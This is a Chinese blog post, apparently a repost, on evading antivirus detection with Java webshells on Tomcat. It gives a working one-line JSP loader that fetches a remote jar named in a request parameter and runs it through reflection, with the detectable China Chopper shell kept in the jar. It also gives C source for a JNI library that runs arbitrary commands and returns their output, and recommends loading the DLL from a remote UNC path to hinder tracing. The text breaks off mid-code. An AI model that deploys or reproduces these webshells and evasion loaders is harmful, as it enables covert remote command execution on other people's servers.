你所在的位置: 首页 > 正文

webshell中的分离免杀实践-java篇

2019-08-11 点击:1286
亿万先生手机版

  E安全昨天我要分享

  声明

  由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

  雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

  描述

  前段时间看了倾旋的分离免杀直播,感觉像打开了免杀新世界的大门,jsp 中使用webshell 同样也有类似的手法。下面就让我们一起来看一看webshell中的分离免杀实践。

  方法一: 远程加载jar 包

  原理

  写一个load 脚本,利用java反射,可以远程加载jar 的webshell (画重点)

  webshell 实现

  1.利用java 反射知识,首先写一个人畜无害的远程加载jsp 脚本,通过远程加载的方式,把远程的jar 文件进行加载 (有害代码里都放jar里)

  <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL{new java.net.URL(request.getParameter("u"))})).getMethods[0].invoke(null, new Object{request.getParameterMap})%>

  image.php?url=0MnLAEEtHN

  2.远程部署的 jar 里放会被查杀的shell 代码,比如菜刀的一句话客户端(.java)文件,然后把该java 文件编译成jar 包即可。

  image.php?url=0MnLAED9z8

  3: 加载远程jar进行菜刀连接

  image.php?url=0MnLAEofl0

  方法二: 利用jni远程调用载入dll ,达到类似分离免杀的效果。

  在java中,Java无法直接访问到操作系统底层如硬件系统,为此Java提供了JNI(Java Native Interface )来实现对于底层的访问。JNI允许Java代码使用以其他语言编写的代码和代码库,本地程序中的函数也可以调用Java层的函数,即JNI实现了Java和本地代码间的双向交互。(画重点)

  DEMO及原理

  首先,我们来看个JNI的调用流程图

  image.php?url=0MnLAEDx6s

  实现步骤:

  java中可以使用native关键字来说明这个方法是原生函数,也就是这个方法是用C/C++语言实现的,并且被编译成了DLL,由java去调用。

  可以将native方法比作Java程序同C程序的接口,其实现步骤:

  在Java中声明native方法,然后编译;

  用javah命令产生一个.h文件;

  写一个.cpp文件实现native导出方法,其中需要包含第二步产生的.h文件(注意其中又包含了JDK带的jni.h文件);

  将第三步的.cpp文件编译成动态链接库文件;

  在Java中用System.loadLibrary或者System.load方法加载第四步产生的动态链接库文件,这个native方法就可以在Java中被访问了。

  1: 首先编写一个.java 文件

  image.php?url=0MnLAEeSvx

  2: 然后把该java 文件编译成c文件

  image.php?url=0MnLAEXCQ3

  其中需要注意生成的c文件里的头jni.h 是java安装home目录里的include 目录里,等会编译成dll 或者编译成so 文件的时候需要指定进行加载。

  image.php?url=0MnLAEenKO

  3: 根据头文件,写C代码实现本地方法。

  根据头文件,写C文件实现本地方法

  #include "HelloNative.h"

  #include

  JNIEXPORT void JNICALL Java_HelloNative_sayHello(JNIEnv *env, jclass jc)

  {

  printf("Hello,here from c,JNI");

  }

  4: 编译成dll 文件(win下编译的dll 或者linux 下编译so 文件一定要和目标服务器环境一致*3,重要的事情说三遍)

  gcc -m64 -Wl,--add-stdcall-alias -I "C:\Program Files\Java\jdk1.8.0_161\include" -I "C:\Program Files\Java\jdk1.8.0_161\include\win32" -shared -o HelloNative.dll HelloNative.c

  我们可以看到,编译成功,然后执行,java 加载dll 链接库执行成功。这时,原理我们已经知道了,已经成功了一半了。

  image.php?url=0MnLAEITN8

  webshell 实现

  假设我们的目标是tomcat 容器

  1: 新建package为org.apache.jsp, 类名为loadshell的.java文件。

  package org.apache.jsp;

  public class LoadShell

  {

  static class JniClass

  {

  public static native String exec( String string );

  }

  }

  2: 进行编译成h 文件

  cd到编译生成的target/class目录,使用 javah org.apache.jsp.LoadShell$JniClass 命令生成 org_apache_jsp_LoadShell.h 文件

  image.php?url=0MnLAEeDoQ

  3: 调用上一步生成头文件,编写有回显的c语言代码

  image.php?url=0MnLAEITQh

  编写具有执行命令功能回显的c 代码

  #include "jni.h"

  #include "org_apache_jsp_LoadShell_JniClass.h"

  #include

  #include

  #include

  #include

  #include

  int execmd(const char *cmd, char *result)

  {

  char buffer[1024*12]; //定义缓冲区

  FILE *pipe=_popen(cmd, "r"); //打开管道,并执行命令

  if (!pipe)

  return 0; //返回0表示运行失败

  while (!feof(pipe))

  {

  if (fgets(buffer, 128, pipe))

  { //将管道输出到result中

  strcat(result, buffer);

  }

  }

  _pclose(pipe); //关闭管道

  return 1; //返回1表示运行成功

  }

  //重点

  JNIEXPORT jstring JNICALL Java_org_apache_jsp_LoadShell_JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)

  {

  const char *cstr=(*env)->GetStringUTFChars(env, jstr, NULL);

  char result[1024 * 12]=""; //定义存放结果的字符串数组

  if (1==execmd(cstr, result))

  {

  // printf(result);

  }

  char return_messge[100]="";

  strcat(return_messge, result);

  jstring cmdresult=(*env)->NewStringUTF(env, return_messge);

  //system;

  return cmdresult;

  }

  }

  4: 编译生成dll (再次提醒,一定要和目标服务器环境一致*3)

  image.php?url=0MnLAEMoez

  5: 编写成可被中间件容器解析的jsp load文件。

  jsp load时有两种思路,一种是将该jsp文件和该dll放置于服务器的本地路径。jsp的代码里指定dll的绝对路径\相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。

  <%

亿万先生 版权所有© www.generic3c20mgbuy.com 技术支持:亿万先生 | 网站地图